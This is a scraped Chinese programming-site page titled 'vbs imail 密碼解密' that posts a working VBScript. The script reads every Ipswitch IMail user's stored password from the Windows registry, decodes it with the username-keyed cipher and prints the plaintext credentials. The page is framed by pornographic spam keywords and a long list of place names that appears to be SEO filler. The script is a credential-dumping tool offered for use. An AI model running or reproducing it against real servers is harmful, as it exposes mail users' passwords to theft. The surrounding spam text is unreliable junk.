国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

vbs imail 密碼解密

2020-06-26 18:20:06
字體:
來源:轉載
供稿:網友
vbs imail 密碼解密代碼。
 
復制代碼代碼如下:

on error resume next 
const HKEY_LOCAL_MACHINE = &H80000002 
strComputer = "." 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!//" &_ 
strComputer & "/root/default:StdRegProv") 
strKeyPath = "SOFTWARE/Ipswitch/IMail/Domains" 
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys 
For Each subkey In arrSubKeys 
wscript.echo "Domain: "&subkey 
strKeyPath2 = strKeyPath&"/"&subkey&"/Users" 
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 
For Each subkey2 In arrSubKeys2 
strKeyPath3=strKeyPath2&"/"&subkey2 
strValueName = "Password" 
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue 
if len(subkey2) and len(strValue) then 
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue) 
end if 
Next 
Next 

function decrypt(name,pass) 
while len(name)<len(pass)/2 
name=name&name 
wend 
for i=0 to len(pass)/2-1 
p=mid(pass,2*i+1,2) 
p="&H"&p 
n=mid(name,i+1,1) 
decrypt=decrypt&chr(clng(p)-asc(n)) 
next 
end function 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 莫力| 连州市| 如东县| 景德镇市| 丘北县| 青浦区| 静宁县| 吉木萨尔县| 庆城县| 武汉市| 桃江县| 保靖县| 泉州市| 漯河市| 新邵县| 合作市| 琼结县| 利辛县| 威宁| 资中县| 平阳县| 古蔺县| 嘉荫县| 翼城县| 恩施市| 镇沅| 福建省| 博兴县| 特克斯县| 新乐市| 景泰县| 土默特右旗| 镇原县| 新泰市| 荣昌县| 盐源县| 通化市| 洞口县| 区。| 德惠市| 当阳市|